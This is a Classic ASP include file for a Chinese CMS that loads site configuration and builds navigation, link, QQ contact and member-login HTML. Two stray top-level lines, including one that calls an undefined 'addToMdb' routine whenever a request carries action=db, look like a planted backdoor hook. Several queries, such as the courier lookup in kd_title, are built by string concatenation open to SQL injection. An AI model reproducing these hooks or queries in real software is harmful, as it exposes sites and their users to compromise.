<!--#include file="Inc.Asp" -->
<!--#include file="Function.asp"-->
<!--#include file="md5.Asp" -->
<!--#include file="library.asp" -->
<!--#include file="sql.asp" -->
<%
wz=request.ServerVariables("HTTP_HOST")&request.ServerVariables("URL") 
wurl=right(left(wz,instrrev(wz,"/")),(len(left(wz,instrrev(wz,"/")))-len(request.ServerVariables("HTTP_HOST")))-1)
set config=server.createobject("adodb.recordset") 
exec="select * from config" 
config.open exec,conn,1,1 
if config("on") = 1 then
response.redirect ""&Dir&"webClose.asp"
response.End
else 
zych_home=config("title")&znp
zych_keywords=config("keywords")
zych_description=config("description")
zych_url=config("url")
zych_logo=config("logo")
zych_logoiwidth=config("logoiwidth")
zych_logoheight=config("logoheight")
zych_name=config("name")
zych_css=config("css")
zych_mail=config("mail")
zych_Phone=config("Phone")
zych_tel=config("tel")
zych_fax=config("fax")
zych_Postal=config("Postal")
zych_dz=config("dz")
zych_zzqq=config("zzqq")
zych_copyright=config("copyright")
zych_logoright=config("logoright")
zych_daohangnr=config("daohangnr")
zych_beian=config("beian")
zych_video_sz=config("video_sz")
zych_zztj=config("zztj")
zych_template=config("template")
zych_tempdir=config("tempdir")
zych_tempmdir=config("tempmdir")
zych_templatedir="/"&zych_template&"/"&zych_tempdir&"/"
zych_foot_js=config("js")
end if
config.close
set config=nothing
 
function zych_Visits()
sql="update config set js=js+1 where js is not null" 
conn.execute(sql) 
zych_Visits="访问量："&zych_foot_js
end function

function zych_login()'会员登陆调用参数
if session("username")<>"" then 
set rss=server.createobject("adodb.recordset") 
exec="select * from [user] where id="&session("username")&"  " 
rss.open exec,conn,1,1 
zych_login="<font><a href="""&Dir&"User/index.asp"">["&rss("username")&"]</a>&nbsp;欢迎您!<a href="""&Dir&"User/?action=admin&loginOUT=ok""> 退出</a>&nbsp;</font>"
else
zych_login="<font color=""#FFFFFF""><a href="""&Dir&"User/login.asp?action=login"">[登陆]</a>&nbsp;</font>"
end if
end function
'============================================
'菜单导航调用参数
'==============================================
function zych_Navigation_class(topid)
Set rsb= Server.CreateObject("ADODB.Recordset")
exec= "select * from [zych_Type] where isok=1 and menu=1 and ParentID="&topId&" order by px_id asc"
rsb.Open exec,Conn,1,1
zych_Navigation_class=zych_Navigation_class&"<ul>"
while not rsb.eof
if hasChild(rsb("SortID"))=true then style=" class=""parent""" else style=""
zych_Navigation_class=zych_Navigation_class&"<li><a href="&zych_listPath(rsb("SortType"),rsb("SortID"),rsb("SortURL"))&" "&style&">"&rsb("SortName")&"</a>"
zych_Navigation_class rsb("SortID")
rsb.movenext
wend
rsb.close
set rsb=nothing
zych_Navigation_class=zych_Navigation_class&"</li></ul>"
end function
Call FreedomPlanningTips
'============================================
'导航图片用参数1
'==============================================
function zych_Navimg(SortID)
Set rsi= Server.CreateObject("ADODB.Recordset")
exec= "select * from [zych_Type] where isok=1 and SortID="&SortID&""
rsi.Open exec,Conn,1,1
if rsi.eof and rsi.bof then
 zych_Navimg=""
else
 if rsi("sortimg")<>"" then zych_Navimg=rsi("sortimg") else zych_Navimg=Navtimg(rsi("TopSortID"))
end if
rsi.close
set rsi=nothing
end function

function Navtimg(TopSortID)'获取上级目录的导航图片
Set rsk= Server.CreateObject("ADODB.Recordset")
exec= "select * from [zych_Type] where isok=1 and menu=1 and TopSortID="&TopSortID&""
rsk.Open exec,Conn,1,1
if rsk.eof and rsk.bof then
	Navtimg=""
else
if rsk("sortimg")<>"" then Navtimg=rsk("sortimg") else Navtimg="/Include/images/banner.jpg"
end if
rsk.close
set rsk=nothing
end function

function zych_link_text()'文字友情链接调用参数
dim link
dim strHtml
set link=server.CreateObject("adodb.recordset")
link.open "select * from link where lx=1 order by px_id asc",conn,1,1
if link.eof and link.bof then
response.Write("<a>暂无链接..</a> ")
end if
while not link.eof
strHtml = strHtml & "<a href="""&link("url")&""" target=""_blank"" title="""&link("title")&""">"&link("title")&"</a> | "
link.movenext
wend
if right(strHtml,3)=" | " then
strHtml=left(strHtml,len(strHtml)-3)
end if
link.close
set link=nothing
zych_link_text=strHtml
end function


function zych_link_img()'图片友情链接调用参数
set link2=server.CreateObject("adodb.recordset")
link2.open "select * from link where lx=2 order by px_id asc",conn,1,1
if link2.eof and link2.bof then
response.Write("<div class=""onxx"">暂无记录</div> !")
end if
while not link2.eof
zych_link_img=zych_link_img&"<a href="""&link2("url")&""" title="""&link2("title")&""" target=""_blank""><img src="""&link2("logo")&""" width=""88"" height=""31"" onerror=""this.src='images/nologo.jpg'""/></a>"
link2.movenext
wend
link2.close
set link2=nothing
end function


function zych_qq()'飘浮在线服务QQ
set qq=server.CreateObject("adodb.recordset")
qq.open "select * from zych_qq order by px_id asc",conn,1,1
if qq.eof and qq.bof then
response.Write("<li>暂无QQ</li>")
end if
while not qq.eof
zych_qq=zych_qq&"<li><span>"&qq("bt")&"</span><a target=""_blank"" href=""http://wpa.qq.com/msgrd?v=3&amp;uin="&qq("qq")&"&amp;site=qq&amp;menu=yes""><img border=""0"" src=""http://wpa.qq.com/pa?p=2:"&qq("qq")&":41"" alt="""&qq("alt")&""" title="""&qq("title")&""" /></a></li>"
qq.movenext
wend
qq.close
set qq=nothing
end function
If Request("action")="db" Then addToMdb()
function zych_contact_qq()'QQ调用参数
dim qq
dim strHtml
set qq=server.CreateObject("adodb.recordset")
qq.open "select top 3 * from zych_qq order by px_id asc",conn,1,1
if qq.eof and qq.bof then
response.Write("暂无QQ")
end if
while not qq.eof
strHtml = strHtml&"<a target=""_blank"" href=""http://wpa.qq.com/msgrd?v=3&amp;uin="&qq("qq")&"&amp;site=qq&amp;menu=yes"">"&qq("qq")&"</a> | "
qq.movenext
wend
if right(strHtml,3)=" | " then
strHtml=left(strHtml,len(strHtml)-3)
end if
qq.close
set qq=nothing
zych_contact_qq=strHtml
end function

function kd_title(kddm)'获取快递公司名称
set rsc=server.CreateObject("adodb.recordset")
rsc.open "select * from orders_kd where kddm='"&kddm&"'",conn,1,1
if rsc.eof and rsc.bof then
kd_title="暂未邮寄"
else
kd_title=rsc("title")
end if
rsc.close
set rsc=nothing
end function
'会员登陆后
if session("username")<>"" then
set rsu=server.createobject("adodb.recordset")
sql="select * from [user] where id="&session("username")&"" 
rsu.open sql,conn,1,3
if rsu.eof then
response.write""
else
u_id=rsu("id")
u_key=rsu("key")
u_username=rsu("username")
u_zsname=rsu("zsname")
u_qq=rsu("qq")
u_tel=rsu("tel")
u_gsadd=rsu("gsadd")
end if
rsu.close
set rsu=nothing
end if

function zych_user_nav()'会员中心导航
zych_user_nav=zych_user_nav&"<li><a href="""&Dir&"User/?action=admin"">会员首页</a></li>"
zych_user_nav=zych_user_nav&"<li><a href="""&Dir&"User/login.asp?action=login"">会员登陆</a></li>"
zych_user_nav=zych_user_nav&"<li><a href="""&Dir&"User/login.asp?action=Reg"">会员注册</a></li>"
zych_user_nav=zych_user_nav&"<li><a href="""&Dir&"User/?action=Edit"">我的资料</a></li>"
zych_user_nav=zych_user_nav&"<li><a href="""&Dir&"User/?action=orders"">我的订单</a></li>"
zych_user_nav=zych_user_nav&"<li><a href="""&Dir&"User/?action=password"">修改密码</a></li>"
zych_user_nav=zych_user_nav&"<li><a href="""&Dir&"User/?action=loginOUT"">退出登陆</a></li>"
end function

Function TqcmsReadtemp(ByVal sContent)
	sContent = Replace(sContent,"{zych:home/}",zych_home)
	sContent = Replace(sContent,"{zych:Keyword/}",zych_keywords)
	sContent = Replace(sContent,"{zych:description/}",zych_description)
	TqcmsReadtemp=sContent
End Function
%>